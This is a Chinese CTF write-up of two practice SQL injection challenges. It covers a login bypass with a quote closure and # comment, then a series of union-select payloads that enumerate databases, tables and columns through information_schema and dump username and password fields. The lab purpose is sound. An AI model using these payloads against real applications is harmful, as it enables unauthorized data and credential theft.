1,[极客大挑战 2019]EasySQL
打开靶场,来到登录界面,随便输入登录用户名与密码,看到链接直接显示出提交的表单内容
这时候可以考虑构造闭合来绕过数据库的检测,尝试使用万能密码测试登陆到后台。
看到报错内容,修改几次,使其闭合,登陆到后台。刚开始使用“--”来注释,发现被过滤了。
使用#来注释,成功绕过。
2,[极客大挑战 2019]LoveSQL
又是一样的登陆界面,万能密码一试,来到后台,但是flag不在那里了,这时候猜测应该在数据库的某个字段里。
既然万能密码可以用,那就以其作为闭合,来检测,先order by看一下有几个字段。可见到4的时候查询不到,字段数为3。
1' order by 4#
接下来判断字段显现位置,使用联合查询,可查看字段显现位置。
1' union select 1,2,3#
找到字段显现位置,我们在2,3位置插入sql语句即可。来爆一下数据库名,得到名字为geek
1' union select 1,database(),3#
爆一下表名,得到两个表(第一个sql语句显示语法错误,有人知道为什么吗?)
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database(),3#
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
看列名
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="geekuser"#
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="l0ve1ysq1"#
两个表下列名都一样,一个一个看就是喽。在第二个表中发现flag,由于字段太多,看页面源代码更清楚。
1' union select 1,2,group_concat(id,username,password) from geekuser#
1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
题外话,如果当前数据库下没有需要的数据,可以通过这段sql语句来查询其他库。
1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)#
mysql,performance_schema,test,geek
感叹
真是一时不练就手生,sql语句错误百出,好在两题过后渐渐有了感觉,SQL注入当初学的还行,这段时间继续更新。